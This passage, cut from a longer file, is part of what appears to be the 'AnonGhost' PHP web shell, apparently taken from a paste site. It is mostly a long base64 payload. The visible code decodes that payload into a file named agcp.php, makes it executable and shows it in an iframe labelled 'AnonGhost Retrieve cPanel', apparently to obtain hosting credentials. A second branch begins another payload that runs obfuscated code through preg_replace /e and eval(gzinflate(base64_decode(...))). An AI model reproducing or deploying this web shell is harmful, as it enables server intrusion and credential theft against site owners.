nY3SW53djdNRzZGT3Nlbzd2eWRIUlExQTFUb1ZyUkg5ak16akdkZzcvSmJ5M3RRVmtMTkUxdUE2aVBQZzJhdDhTOGlZM3FmQ2J6eW04eGROT044OVZ0dTFsa015eWJ3R2NDdDRNbkFtY2Jid0t6eFB4L1pwVDhNK3RtbnVoeDUzK2h6aHc4MnBQT2Z2ZVhmQytmRWV3Z3BONzJCT2JaK3VIWFN0bXJBVVBmcEQvQkkxd0k2NWlLRmtkNGlQNmFXaC9veVlib2czSW02azdvOTVmdkJBUTF5Zys3NWV3bHpDNE5RWXVCZVZlRSsrMkxsTTJlbTEvcFk0c3VBLzd0T3hmZXhMbSthc20rb2h5RTlSbjlMNFhKUDlQZEpuRC9uL0lkdExmUm96N2ZCanJqYzhwdkhlRUY2aXB3YjVJbzZ3bitPNittNGZKWC9zdXUvRkIzaCtqcDZUdkRzNTBIWkxQYWRXQk4ybnBvYmNzK3UrNm5RTVYrVWI4VWY0cUtobGZXWnN3TnlaMXE4YXpuZjl2RHlIRTI3am1mYU5IQnZ6QnF2c09uVis4Qm4wSWhLTGQ3Q1RPS2toR3drWFJ6NmZQV05tQURodEVEUDJ4Rkx3UE9RSFhaK0tQU0dYQlhhUXp5Ym5RVDFQdk1lUlBvMTVVdFQyRmVtWjV5eStFMSs0NzByWUtPd2Fla1ZzdVUzWHlvWHNIcG1mUTI1ZEF5bTg0bnFpTXBPUGxLMmluOUwxRVlvNW1PM0luTEVpRG9wNkFXTm40WHo2SXp3VDhpbk1MU3dOeDQvZDZJclp3ZGFlY2ZpVm56Nm1PWWNLUHlGYkN3OFZNZDF6bXRzQjY5TWZ3NXhMOXdySUR3emhBM3FIWEpQSmQ3QWF1RUpZQngrS0h0SHo2Wjc5Mi9SOEdPZWx3SERTdTZIWWpKbzM1aHpoYzVoRjRyazYyM1RmbE91NzRKRSswczJhdmhMY1R3M2tBQU9pTjZ3NS9sYzZCQStDTExFVzV1aFhIa05yRGI3Mi9NTGJ6TGxkY0FKNmRuSjNaWkZmWWpMWGZ0NW0xaThlMC9QWlBLdnZNNTNEOVh3TXlTdHhOejNBc1MvU0syWWlNSytRR1F6dzBWM3ZUb3hGelNIMUtvN2JpZlcxWG5EYlEzNktQUGM0Rm4zWlo4NGR1K2ZuUE9kTUhGSVRUK21la3VkMFA4NWFSd2tlSXovcm5ycWVkcHIrWStJNjF3RUtId1QrMjJWZmlHSDE5NEZ2c2YzOTJwZXcwL3QwM004c0grcEpxVlVsdDh1Y1FlUzhDSXZCSVRqbnRGM1hiK0lwaGpCYzdNMXI1dnpEb25WWllxVWlXYUUvaFA2NXZ1VTEzSE9JREl2cm9OYkUvZnNqOTJuSTc0YmN2blFmMlRqUDY4RG1LYloycjhObk9pZEIzMURJcFBTS09XVkQvSkk1MlQ0OTM2NEtTMUZ2aUQ4bnh2Y2V0bVgvZUo4K3N4ZE9zdU1aRWx0aUFlTUEyVHo0ZlBydmhteWljNkRZY05sQThyTE9IUWkvRXZlNmY1eDFwOVpNZnNYOXlkdk1XaEJrRGt6M2trNDgwMS9SWDhHOEN1cEMyQlBQNFRoeXo2ZzN3N2U0UnFTbi9hdGFLK3BHdTM1SERCZittZGhCR011OUNHQkYyUnRtYW5wMlZFKy82TDRWL2Q2emVUZTlLN3dJZTNhZjdoZUNvMlN1TERiZHZrRHk0WFVVWjl5TzVNOGJzYXAwdW91amNRMTdtWjdyNUJxOW5qMll6SHgwWHd4eHR2QnFrMHlTKyt5U2VmWTRZb0krUFNlT0dTblV5akNQRFYxemJmSjN1azZpeW5ZeXo5YXpwTVN0VXljQjkwOWVIMXhEYjRUbkV5cldLSHIvMEdINWVlWW5WSzBGZkdQSUVEYm9PNTAvQ3RzTW43dHl0Uy9aQXpERlBzM3B4L1VrTzhnTGM2bkdXR3pFUjNibWxyYlhlVno1SGM5eHVNK2NZN3ROMTB5dHM3dGN6M3dzT2FCdHVpN0NOVHJZaUczbVBMcWFmcEw4dGVkYnJIeDl5Ny9sUGNnOU1Xc0hYZ2o1YU1TK0MvNTJEOHhqdWw4ODhQMGpzUmw5OXVTczRNZ3NXN0lGeGlYbmU4cC9NaHNVM3BVZUVQVGVmUkdmbENuejArSnNtRTlPM3psOFhKWDlBS041bmw1SisrVVoyTVFZeituWmJlUnpuWCtTRDNLdGoveXBaMUEzK1Zwd2kzUVdHNE1OUnphRytLMmgrSWVhSTNyU2YvV3hiRFBuSlhiSi9ITTZIMFBka21kUDNkT21kL3h1V1hSR09TdHFKczN4MTVseno3dHMrQ050TmZpUEdlZGhpeFhqMEN0Q3ZPemN5MnQ2OWhEMXpPN2JrZTdIL28vclo0RXJKSVBtTk1XRnVMYWlUZGNRdXg1Yk9EN3NFVDRKbkMrOFVMZEZSbXV1RFdkSDBMdFN0Y2JNZWVZZFY3MEJId1NuTHQwcjBnKzRLR3ExNFlEcCtTR204SngvNGJZdURMNzJldEE3SC91dG1NZzVxakV6cDNqSVhsYnBsdnc4bkZEVDlacHNDVE1LcUdzdUpXMDZQVER3S2NadDRqQURiK3B6NUFhWW80UmQ5SHdiZkxQNEJXYUZ1ZVpXdisrS2M1eUQ3RE5uQTRIRkZ0bWxCODl6Z2RoTDVWbVk2Y2JzQmZLVDdsMTd6RHczUTNWc0ZYNUI3OGNNdVpBSDZUellhcTNOYzEvU05yTUd2dWVlZUtiVEVtZWl2OHhBQTRleXRsVWNHZldTRVVlWDM3Z2h2cXJrWmZ6K1B6a081aVZUaTE5WUkyTDNubjZEbVh5c2cydFk0Q3Zxc241TGpFMnRjY2pJSjIwWVhIQVgzbkwvZkUrZE1qLzFtbzdGRzlmQ0h0VzBkWjR2KzVpdXhTQnZYTVcvaEx3ZDAxd0hOYmZNUUVYZmlhczlvNzBzTWNWenlWMDkwOWNhbjcrbjU1d3hkOFU5ZUxLejlQMHpsejdrWGZ0VWF0cmVrR1hoRTJRVS9qZjJjTXQ3NHROaS9aQkI1Rnh4STV4WFlJMUZ2NmpoSXBlSVBTckVOa1BQcUppRlBmWk1hTzE5RnlhbE5pdytMN3ZuZVRheS8xN2ptbi9ubndzUHJEVmE0YzgvZW5iNTNOaDMxdWVUZG4zQXoyR2J0K2xlZXV3Rk9YVit4M3NWN1F2Y0MzT21pWFdNNitIT1h0TjlVc2dEZVRUM1RtbnZtVVdGbmNLUDBsZE1QRjBrTnp0MitibllrVHJOSFRNUEx2NU9NVXdYTG1LT3VuTWU4cjl3T2VTd21YUG8rWitTQS9wQU9GUEZzOGY3SC9aRE5zQTFKWG9uZWtTb2V5cnlDM0QxelBud2pEcmlCVGcwNGxQaUxzVW5SYy9wY3hMYTlId2k0M3pGTldBM2VJTWhuT2ZZRWo3bWx2THA4NGdrNjh4bVpLM1hHZTNtQjQ2WnMwR0U5Y0dJcnFYVU83cStYYituUnBpNXJQUjVrWS9FNW5xTzlKYjNZaFlvZmNlaEU4SWQ3S2ZQZDVCZEpRNmhkcDBlWCthK2g3NWdZOGh2Q1RzRlhqaXVmYUNXditsNTRlSHBQMkMyT3ptV3VOYVdmcFFlRC9KRGNNUFVqb0h0eWZ1UG1zOEJUcUdXQ1ZuM3VUS1NneWFkb1A2QzNDZTkzZFFrMGFzK0pIZlUwVGJGY0s3dmUwN25mdW05WVQ2dStSZDlocjQ1NXZURElaaVB4UGNjMDd3MWM1eGlmU1EzOXNIZ3YwZmlRK0o3ei9XdHFhcytMNGw0OVRWZHd6dUV4L0RwMUFCNS9rUkxYQWpQQmQ0MmR6T202MDNoN0YxdjNhWnJ3MndIdjNrZjZocUpUK0U1aUpYbzNXUW11Yzl6T1BRYzMvU0RZUnZsTzVqSjZGbSs0bFBvdjJyYUg4NithYmYwdS9TVThZN3h6dktuWWZ2QlhPLzB4OHdZTVViR0R5c09nSk9tNTg4eDQzTjZoaW5YTkMrRGo5RHZtVE5FdlJsOUt1QTJ6eEI1VE0vVXJwSnI5K3pWYVg2RCtsVnlqUEQwdGxPeXoyQUp1QXYzRnVHRGo1bjlPb3JqbVVQaWVnUTlnL3U3WkZPYk1CRTFQT0JIWnM3VGorSWNBTFpQZXpia1I5d2ZkdVNhVk96T01YUDJoK0laK240NTM0QWVNT3FHUXphSW9ZUTNiWjlsb3p5aldETHRNd01rbzU0SGZFelBIblRkZDV2T0g3bW5SbHlEYzFEYUY4L2RmZVE3ZThiL2EyWk5QM0lpVE9TK0VQWmMyTTkxcFhvMzF4V0FHV3JlSTNBNXNZRFdyQk1EYXQyWWhZay80b3dwWnRQQXNmcU1NZmkzMjNSZFRhd0ptRkN4UWNpdWJEaDFOY3pERGZ1QnYxZmMzRnZLQnpOR2pLSEZNeEhUdysrNmoxMTRtMW1WbnVFajdnWC9UbytFNXk4UTJ5b203VFh0cmM4eUVOYkd0eFhoQldhTlVTZnFtUjd2Nlhrcm5qZjFTVnREUFlMcis3N1RNYWpuY0swWVV4d0FkWnh3MXRUOW9OZFZzUmJQNjNYYXBudjIzYk84NExlbTlZanJsWm0xaUgzQnpIM21XVnU2bnVzdHBaZWNIK2Y1QzlJTGF0dXBJMlEyQ2ZNWnFGdjN2T3hYWXJnaExPSjZ5dWRNcms3NkRyNXlYUUJZVSsvaXVhSmxPcDlEanJUSVhua3VNWitSZi9GOFUzUkg4ay9OcVdjNFAzTGY0cnA5T283eS9GZmhnYUg0MzJmUUxmc1N2b3c5aFBjZnFXT3MyWnAvaS9oRCtJRStWZGNSOW54UDkzaUpkOXpCVWMrWmRWd2Y2Y0o3dXU0ZExCbzJDbXd0M0VjKzNtY010Wms5bGYyNnBtdUpYalBybUJVamNONExOVFBVTzhQRE1UK0tlVDJldzZEM0p5NTByNFk0T3M3bGdIdHh2V1dmN2lsbzRIeGhGbk5mWTZsOXdJL0tMbk1tRkZqTVp4dklWcEJIWGprQThsN3UxWlJOOFhsSjJBRHdhWkY5SWphUzdsWnhDTmFCTnZOTWxOZk1PdDhpV1FZSDNUTkhFZTl6YUgrM21YMDNUOWxEOHBMb1RFKzgzb1FWNlluMnVZMDkzNUhjVEpIL0Rtd3EvYVZuajlxTk5TL3V1dk5iK2wzK3h2MVBkYnJXa0g0TTdMWjdZN0Z0NEZQRk1IQ2lyakVXaCtkWVE3RXg5MlF1WTVjUFkwWUdOV3pVQnZrOGg5ZjAyWEx3RDV5cHRaNHBVa3JLRVRKSnZzMW5NSWlmd0VmUVM5cTFKejRYRWp3bC8wcWZNdWY0ZWY2WGJEeDl6WjRqdTZVZW1FdFhiRWt2aCsyOU1EbHhBUFhJOU9TUVU4TEh1NmQ2d1pITUxIT2MxeE1IY0c0YVo4SndwZ0k4Si8zQXJnMVRYREo2NHErUUQ5WmJNWlRuWENyT0o3L21tdTR4c3llVkdQeVZzbUw5bGp4VTRXWjZwOGw3aHk3QVdiK200ejc2dlpnUjVCNTZyWVhQb3lKZWtvNVNmNFlPa2U4eGJoUjJwN2FhZmhET2MrSGNOT1pNUkh6d21KNDVRUzh5c1UzWjBnNTVab0R3WTZ5eGZCbm5neURIbmxjcUxNNDVkOVNXT1E0V3I4UDhwOWJUL3RwZUtZNmtQcDdZem1mZ3lKYVE0L0ZzR2Zsdjl4N29HWWhmKzdLdTd0dVhITkJ6N05sallCWDVEdVpZZU9hZDhBUjVJR2FrTit5WS9qNWlQTldEY0g3bkVENnE3NnVHczM1dk4ybzR3NzlwdlpoSlR4MmF6eGNSVHZaOGZUQUJtSHV4NzlRZlZzVWo4Q3UyRCtJZlBMK21KVmFpWDJHTlZlaXA4NW1IYldaZDhqUFhrVG5HMVBmVGQrUHo1eVM3N3QwVjlnbThSU3dnMyt2NWw0OXB6b1R6dlppTFQ1K0s2M1NKQStVdnlVdTVCK3VlT2p6Z3VHL3BaOHJ5bnM3L1NuNkpKL3lPc24yZVA3U2xieU8vUXgrQytlcGovanBEYWNnR3JiM285cVBFcE8zU2ZmTlNpaTJIbnBVNlpzNVRxTUlZNUFTWk5jQ3NKL2hXejd6K1RzKzhjUzl0VDd0U1pWZUplNTNmSmJidTArZi9FcS9EcVpEZllGWVFISlZ6aVF1bWNNM0xQbk91SFg0WjNWWHNBVTZuMWduL1hlVmJQWS8rdmRqd1BsMXZXKy9wQ3prak9kWWZmL1dlcmxYa0xESG5MT0FZNUFmaHlzRWZ6RGhjKzYzcEp3eDVGT2FrWnB2YVdlYjFjSVkyOWIrbDUzcFQ4OFQ1eHZocDhtUHU1ZTh6NS9kMDdmTjk1dXhyWVJQM2JiR2U0cW5ETjkvemVRc3lRNTB5MkhQaDZmRGJaWkUxT0F6ak1HRXI2cURXbWxYNlVCeTN3UCtKUS9MTXZ6THp6Q241TC9vNnFDMzdkWWJQa2ZJREhtKzZQalZqOUVVUlN6RzdBcjRCN21lZHMwUWZLblYrNUNqSVh6SGJ4T2NUaUlOd3JtdWJtVE5WM09MNTNHVzZycFY5OTZ5Z0xlMGwzTHZyckw3VDlTaWVWYVBZak40M2NySStmd3ViSTN6VCtQdjdUTTVkZHNQNUJzWEF6RVRpSEVYWDRxM2M0NVkyenJQNDVLZWNhMVVzc1BabEYrSjQ0Vi9xb0R4N1JYNmNHdU9WbDJuSDRzZTJ4QWJ3TWNUUHhBYnU1MjR6NXhUS2o4Qm51bGQwOVJYU1FlYlA0Z3ZvM1dDR0ozSDFHdGRoZStsbmdkK2dEaHB1bkpvTCtuazhRM0hWZ1o0K25tY0JPOEhmVXRmc3M4bWxaOHpyOEx6a1kyWXVvODZjVlRna1k4VHI0aFRBdVk1L2hFWE1yNkVqaXZsRHQ0bGxpTVBIZFM5cTBEbEh3T2RIZ1hza0Q4VG1QZzhJektQUHRpMzNuM3ZZQmt2UDZYSDNyRXV1SXo0eDNtMmtuM1lPK3kwWjJHYkdVTmpsenpTLzVINnRubnJnM0dTVFgzMWR1dUs4SERaTWNzWWNEK2RFOTkvMjF2M0M3K2t6dWFtSGlUMS96dVNuUDRrallnM0Z4YmsrRUZtV2ZlRDYxTkZSUitWOFlFMzVaVzErbmE4R3Y5SnpmNmwzcFQ3R3VRTEpPSGFSK2hMM3IreTVSc2JJTmUxZlBLUDBsaHhYa2IwbmptTVdCRE1SQzN6UWQ5bC8rTlo5dWo4SURzenpucldXQTU2b3BaNVU2WlhuRlBXWjV6Wm8zNWlaemRtVHpqblU2UndwdmUrL2VtU0ZpM3cySVJ6NkpwOHMvTnYxWHB3VlFNMkdiU3A1c1QyeEREV0s1RHJSNTFIU0Q3aWVhNTgrY3lBd2krdzk5UjFnVW1LTk9sTFB3TFBFNmNhNFdpOThMR2RmT2Y4b0hYQU53WmI0eG1mSnFuNlhQTGpuL2dyL3JiTS9tSFdBNy9ETUthMHY1ODh4VTRlY25PZEtsc1VmYWYrN1luTnFJSWhSUEI5SzlYOXczNXovNGJPbnRQWSs2MmxQTzlYYmJ6eGhYZHFtenhBTExNNDZiN20zMVAvNVRBMzRHM2k0TWpOR1VweGVTc295YzVuSjEzaVdyZmdhbjBzbEgrMVpxOTlwM3RLNWJYeXhkRFRrVFBHRDV5NDhGeHVqK0duTjd4YmxPNHl6UnZKWFRUSlQ1R3NHdUlKcjdUUG5UWHltNTVzVXhkcWNjZTM1dDdLUGdRV2srOWdOY3ZYd2Jlc1owY1JqWWJPM21YT0M2blR1Y09YRzQ3MmxqNXlsUnQwME0rbndOeUVIc3FGTnYvYzVsL0lSOUNtREI2ajFKaGVCUGprSGk4OWJmQnhucHF3Y0pyVk9ycnY3VEovUHk3bHRuTU5CRHlvMnp6bEdQU05uVzlGelJVK0F6OEdRRGViTVorcEx6TE5zMTNYcE5hT1dvc2lYZE1rM09RWmpUZkU0NjR3K1pwNVR2NDI5WjI0NmZlQ2VZL2ZKejhFMzhubm04MVp4WUQ3TFEzWUNYWE11OVpIcjdyUHlaQVBoMmR3SHFiMzFiUEErczM2dUxYWUJXUzJKZTIyekZYL0FBYXgxYno3clZWaUV2QnQ0QmQwaGwrUXpYNDdwWG5PNDVzQnU4c0hCd1FwSHVGZE04U05uNnNIcmtVTmhuZ1o5a3VBVGNDRTlvL1MzWTc4S2ZFNVoxbXJCdU9UalBSZE1HTlhuRGI1bW5ybFNwdk0veURyNWJNOVdseThCdHhFWFVEdk1PU0ZyVGdvdWdabXoxQ1M1cittWXJsVmY2MTg1WjhqblFzRVpQZWZ2SHRKdGVyNFFIRjRUMWpmL0lHem1lV0d5QlYyOHUyMG5zV3hMM01Fc1JHWWpramZ6akIzV2ZKK2U1OHZNanJXL3JzTjU0SXUzbWVkZjdYb0cyVk5pSCtaM2Q5a0RZbFBqdlNOOVc1R045Ym0yZGY2cUFlWmNHYzRtSnU5ZXBCZlVOc2RuMjh5ZXhrTS9rNTl5L29LWWN0R0ZDbC96U0p0THpZNXJGb1JKQnpaeHBKeHpqZzg5QjhTSzlBODVaaFIycEdhV2ZBUm5jZEdUNkxOalg5TTlRNTczZFNTZWN0MlI0aDltNkhqV29HSWM4Qmx6V1gwdTZXZG1uNHd3SjdQOGZBNVJteG1uN3pOckpyVm0rQU42NGRnZjZndVlnUlQyZmx1NGJkbFh6bkhvNHFmSmI5SnZ3c3grOXBEK0RITVZiVmt6T0FERmwydGVnVHBRZXR3OE8zcFBXYVkvaFhPTFhkK01iNVF0OTl5RTU4eThrdmdENTR6dktXL1VoRlF3NHBqbXR6MXZTUEU0dVJyWHR5dCtkZXh6bXptL1JtdklPZFkrYjBleGxyay81WStwdjhJZjBCOEdEK0J6d09CODVUZXJiSmQ3Rk1YNytveG8yVlc0V21wWDZDRm9jS1Y5dW0vUHM4Q0pWK1dMNDFtRkR4c2N5TEhJV3BrK2Z3SWR4bll3eTlxekpXUVQ0Q1pjbXliN1pzNWRNUytjcG5HWllqZk9uU2p3enJMQkJTd0ZKcGQrTUh2ZS9rcDRqVm1kUG9kZ205bkhKQjlXRk10U1U3dkdqdlRJZ0srWnkybWVEbitLN01QRlNBODhyeFlNQk41bHYvWDhROC9pWHA1dGlXUEFLYktGN3VNQVg3YnBHUy9JaUdPRzkvUThLOWRLZzgrcTF2UXhmYllodGM3MFA3a1g5enZ6L0FOeXZPQ0NlOHFjT1dtdG1YTkx4OHp6TU1yTXVsdGk3R082RDhnOVJPSmptRUhrczFLNWZrME1oTzR4ZzVpenJlamhndk9uL3AwNlZjZm96NW5jZDBrZkNwZEVEN0w3ZHNUamhxMFY3aUkyQy91eHhITE1YMlMvUEFkVmYyTk1qZjhUUmxqci9NMXZ5MDZUZjhBT3VmL29rZlllWGh5YzZUUFJKWDlWc3RBa28rNGRiZkpKaW84ODkwcll6YlBKUytxV2F5Z2Y4a1BFZUlwcHlJRzR4MFoyaDlueTFPT2JkeDN6MTl4VHpzbjBqRHZGdWVCZnpzV2c3dEg1RWVWQzRqN0NWdGdBejg0YXFZdlViOW1YbGJUL3J2VVJCbVoyZ2MvNUpoNSt6WnlWQW5jaVgwSmRIMzN4UGh0SXVrMXV6R2ZYYTUrWlgwUk1TaStZeitzNFpwN2ZTVHp3VGh2bDgxZUUvN0NoNXB2YnBWdEYreHc2b1pnTVAraTZaK2tkYzZVOTg3N252bnRXajdDbDZ3OGZ1cTlpTFdJZDVpdHo3Z2w1R1BvbTZNRjNEb0xjRU5oUC9veFphM0E2OUFQMmxqYk9uTFRXQmIzMERHWFplTSs5Sm9hUi9lR01WTTl0MnFiblpsTXp6d3hUOXo1dDgzZGRrSFNVL2tpZmY0MHRsRnpaaGlnV0RUOHUzc08yV3JFRzgxK29yMkJmUFJlOVQ4OHNOemY3bk5rekl5NFNmdCsxcUpJOW4vK2lkOEEzY3I1MkI2dUthMkFlSkd2VEZlOUZuQ0xaWnNhcjU1SnRDMTdmcG5PUmZiVUI0a0xvTTRXWDk3eVNQalBYMDlPWDB2dG4zazYrbTNNVWZiYkNkK2E1OThTS0pmRUcvc2Z4QUxIcmQvb3Nibm9oNGVpRzdvWGVOL21Od0k5YVE3Z2NaZ3NVZUZyWmRmcVdtRWtZTmxXK21Ya0p5QVYxRno3ejlwaWVSVXF0ZEFmdmJZa3JPRnVHZkNublc0RTNodUlZbnlkVlVyNmNkOVJuNEt5SitaanhTMzhRZGRoaGl6NHp6OG9BbCtpZVhlOUFYaTdrU0g3ZFo4cmM4ajA1MDgvclhxYlBUU1ZPOWd4TjhkdmdYbnAzbVdQcXVTQ3lZYTR4RVU1QXY4MTV5UjVRUjBwT2NhQkR5TVl1TEtzMThweld6N0t2OHZjK083a3NzeUtPZkZibXBybm02VFdkUS9Ic3V1ZUNNMS9TTmEwVit3Y0g2N2xqcjVtenJQQUpzdHZ3U3ZTYlU2L0hIQjdYQlVsZUMrL1M1YWVJOTdmODJSQ21namVscDVzem1ueWVCNXkxMXAvWkNENzNsN1hyOHYvZ0MzRmdZU2VXT0dLZFFlSjRRN0V0OWd1c1JTMlk1eDJCVVlTSjZmMmhsb2s4YUpGOVhHdFd3V2MrYzEweEh1YzAwR2ZEZVVEMHh2azhFL2t1eDUvQ0YrU2pmQWFpNGw3OGt1YzBiRE5ueEJFM1NIN0pjZUMvT2JObGlOc3c3L3FZbWY4VWJ1emFiNThyQkliUnRkd3YyNlVEcW9tajd5YjAvejF6bHBld2cvc2RYdE56OXBpL0VqS21mWVNuRHBzdmZzSG4rZFNaNStScDNlbk5oY3R4YnlDeFM1dXVMNGNqOXJ3YjJUUHd1WHQvNFJmNjByOVFadVovU3ZweDZ0ODhVMWp5aXUyRG15WUdkVDViV0lUNG4zTzdRa2QrMW1FLy8xYnhHYjc0Ly92L1JiYnYvSHJwKy9sMTd2ZnpILy82L08vamYvMzNmLzc5K3I3ZWYvM25Yem8vL2Z4SERPRTgvM0ZXY3Y2UGYvMGYnXHgyOVx4MjlceDI5XHgzQiIsIiIpOw0KPz4='; $file = fopen("agcp.php" ,"w+"); $write = fwrite ($file ,base64_decode($agcp)); fclose($file); chmod("agcp.php",0755); echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Retrieve cPanel</b></p><iframe src=agcp.php width=70% height=60% frameborder=0></iframe>"; } elseif(isset($_GET['agmyp'])) {
  1004.     $agmyp ='PD9waHANCnByZWdfcmVwbGFjZSgiLy4qL2UiLCJceDY1XHg3Nlx4NjFceDZDXHgyOFx4NjdceDdBXHg2OVx4NkVceDY2XHg2Q1x4NjFceDc0XHg2NVx4MjhceDYyXHg2MVx4NzNceDY1XHgzNlx4MzRceDVGXHg2NFx4NjVceDYzXHg2Rlx4NjRceDY1XHgyOCdsWnJKenVQSUVZVHZCdndPalVZZjdNdEFZbTBpR3ZNbXZGRGJ5V2VqSDkvTXFDK3ErR3VNQnVaQVNPSlNTMlprWkdSU1AzNDkzby9udDI5Ly9QbnQrL2FyWFk1ajJYN1ZjaHh0KzFYZTgzZGNxNC9qdUI1SDZ1ZVcyM0VjMTVmanZ1VjFISHYvcm10eC90RS95L0haam50VFBZNXkrdDM2dVMvWHIxOS81M1Q2Zll5VmJoLzN0Ni9qNVkvbjAvb3hYdm00WG44ejMrZDZZcjM1Ti92NWYrdjczUC9uZUovem5jZExIK3RMSC9NZjkrWlArLzF1ZmZXdjgvMnQ1OW5mY3F5N0hiNHV4L1Y2bk11M2JyZFcrdmg1N1hhdTN2OXh2ZVUrUm4zeHpQUDRmZGdpdnp1ZTRuYys1c25IOVhMdDQ5YzRmUDdhc1JmWFk0MkJ4eEp6MXY0OTM0OVBjTm53dTljY21CUXVidjFhakJ1ZkJXekgrbVBPMkd1NllKZXdRK25QeEgzeW0rM0h0WWlOK0wzYys5NExZOGIxMkdmTXIrZHIvN1EvWXkweGY2d3I5aEo3YXRoUm1MZ1JSNm5ic09FbjNldHIzdmNOV3ovNk9qTDdqL1hJVnQ1enJDTmlPR0o2N2ZmVzJFZkV6OXB0SERhTFp5cHhvRG14VFR3cjM3NW1qR3ZldmR0ZHR2TTYzbjE4NGZPSy9SazNmQ1lNZ0FVOXQwNmJ4N2hhNTlyUDIwWUYvTVR2aGs4MEIzYU1QY1RlNHI0NEo2d3RmVzFhKzZYYk5uQ1lkM2doOXozR2MvWmpnZWVFNFhlM1E4Si94cHY4aWMwMHg5cjlJSjlqaTdnL0V5OWEvOXF2eDdwem0vN05ZRC9zNk5nSjdHdE1mTi9BbE9hK0VEc1ZucjczUFlVOVplUFMvZVV4STM0YXRxb2NDVCtJMjIzNzQ3NnlkMHlFN2ZSODZ2Z1F4cTdZenppNEVTT0pmYnc0RHkvRStoWGZTejgzOXNTOXlpZXRQeS9iM0x0ZDRuZkVjcXc3OWhSalZHd1dkb3hud3NiaWhDZVlLejArNDV4NVJ1dGN5Rm01ZjQ3Zk83akRSN0o1Ky9EekNtNGFlMW42T20zTDJMdm16UERpd2xwYXgzbDFmR09yeEhnTEdKVzk4OFJtMkw2d0J0bDJKeWI1cmZzeWZQakMxMHZuUk1YNmZYSmkyRTFqK253aDVsYXdzZmUxQ3hNcnZFcGViM0NDbnMvOU03TS9jMXI0eEZwQk1mRG0rdlhrOXpjY2Z1KzJIWGhwcC94d2c1ZXVyT1BkRDEwSDQyR1hnZXRHbm1uc0RUekUrY3B2NTZJNEg3OGJmdEg5eEdNR2g4NHQ4djNhYlJBNEUrWWU0R3hoSFBDYTRSV3RHWndXMitjTi8xNjczNHhwN1g4QjEzZXVtN2ZiekRQS2dkaGNHQ04yWXIwRm5MYzhjZW80eWV2TUE5b2o4VlRiNUcvRkZselN5RW1LVlRBalcxN2gvdmI5NXovLzhlUFhlcStydFdHR3F3dTRsZzkyL0pMd3RYTlpCZ04zN3ZYODJGL3oyODRyc2I1Mkd3cUhiZDZUcmNuSTIxbzM5aGYyd0xRNDZ3RzJsM25JNzRuNEt1UlFlRDNHRWJlQU8zRWp2dEhjTC94d0o2WjMvUCtjZVZ4clNNekZQSW45eXRma2RQSDlQdm5UK0ZFc3c1UE4rYUxCUStnbWNYK2UvS2cxMThsampsZmhaTWVIOEZ6WUkyelVIQnRncktIVnBXczROTmVDdmtxc2svMDBOTkRnRGRZdWJyM3p2TFhUVHZ6d21jQnFRak5ZbytqVE92WSt0VnYxdmd1WXlGeFA1UFdFZHNrbmZCWDhhbTN4NE55cjg3YmlFNzF0RGFneHNMZDhlT0x6Zk9KajNiZWo4Y0NST1VRMlFlK0oyOUVteWltWHFVM0ZEYmZ1TjhVZzJxcVNOeE01eWpxMjFjblRBMU03ZXNNOHYwOU5VZkJ4c1ZhMFppanplZUVGSGFGNVYrWkNhNHZQbDhsWmxmeWt1TTdnOUQ3NVJQZzJwOElGaWw5aXpMNXE1SkNZVXprTnJUMjQ5OWJYb0ZvRW5yQlB0Uzd5bnpCOW14d2orK0VuOGVPVDhkaFQzQjkyY2k2VURuVXVlblI3QysvTzJZK0pNY1hsenA2ZjZIM3I0eFU3VmZqaFJRNmszcEJ0YkhQMGxueDFoU3R2VTA4SXM2eFZzWENkR3JXaW14VFA2SGJ4UGpsT0IvcWtvdmZNSlZxVDk0SnVsTjY0VHI5Vk9FeDhadDI3OU9jVU03NlhlY1hWUy9ldmRPbVZIQWszaWNPZGk5RmlybFVLdXRoeHBSamwrVUxkcHVQZDdhMTRSWk0yNThQMzVFSHh5VXFjdkw5eVQwT0hxRDVZMEQ4N2ZGcllXOFBmRCt4bnY3MjJvWGVsV2RFUTJwTzU4ekp0SXU0MERoNlRzMU9henhiMFZiS3V3bWJXVXRLRGFJRHFQTUU1NXczNU5tUC9GN3AwUjEvV2JlanJCQzRWcDlSV2lvbFRUTHRXRTU2dGZkQWR0WjU0Z0JxNmt2ZXQzYzFYbzU5d3dYNTUzcXQ4L2R5R2hxblU5clhNdUtuV2RuQzc3cjlOdlNvY3JOdXNZWjBQWEd1aTRRc2ExbHBmdWZzeDZ3cVBaMTJtbkFBdnVTNTBmZTVjMGJoZXlKL09tY3A3RmR2YVZ1amZCWTZYMW41aUU3UzY3V0RkSlc2bjlod2NRR3lKMzJySFJjMHpkeW8rc0hFbWZqTDZKdmJvK245b3o0emV5ZDIrNGM5SzNkS01TZUpQSElmKzB6bTBrZXZEK0M3YnJWMGJQaTc3WW0xWTRFN3BxTFUvYjE4S2g0MGVpVFV3L0s2OWt5c3FkVUVyYzM4TnZMc2VMZTJFWitycVNyMnNzUjdFOVh2NlRCeTJFRS9rKzBLOFpIb010cmV3eERPdTM2dHpGWDJTQ2xieWUycEYyWWRhV1hneGoxaVRrRysxVCt0RjZ5YTRRSFhPY3o3VDBITUpQMHVyVlh3Tzd5Zlg0Z1dma1JkaXJBWHRiV3hHakRaNks5Ykc1bGZOQzdjVzlMUDFtWE45bzkraE9zaDZCTTFuZkRuSFpUZ214aGNIdy8wTlBpclVaNE1EMEJLdURVYjlUNDlDdWhaZkZlb1U3YXV4anpSelRIUE5VTGZaSDYzZGR1VlVXelRIK2dWc09GL1dVeDRqWnl6a1FPMlZIby90cVpoMDdYcmZacjlnN1RsT3V0NTJZUnhoK1RManl2M09BdGJGd1dodzYzRng1R3Y2cjFHZnlNNXBha2JIZDdhbXNvNkcyd3Z4WTAwaFg3bVh0VTZNbFhYcXhFSU1sV1Z5aStMcU91TXJsWk5QWENjVHI5WWIyZXQrbm1MVWVvZll5MkFpd1ZVNkIxNHF0WmZXUk4xVG5hdUkwZXc0Y0gyMmtwTVd0QVR6RlBKaE90V3Y1NTVKN0VWNURVMVNUL3VzejZtZHpkSEtSZVlsc0ZmUVhkS3hkekNERm5hODFjZmtzRUxleWVDOGtkZEtPY1hhYytadzdSR3RrdW43RkhodTZJT3lqWHBVYTNWKzNTYzNPUSsxMitSRGorL2U1UUpXQ3IwSWNTMjg0ejZnZGJucmZPV0JCMzU1d2xsWGVDalB2WTQ2NmpyanpMMnBZb3dzazVkbFMyc2tkSG85OVJicmRkcG9JUzdkSDFaZkNZMW8zYU9jUno4ck9aWmNwenYvRXZ1VitNbG9lTzByemJVS0graG04VHo5Q2V2cGMrO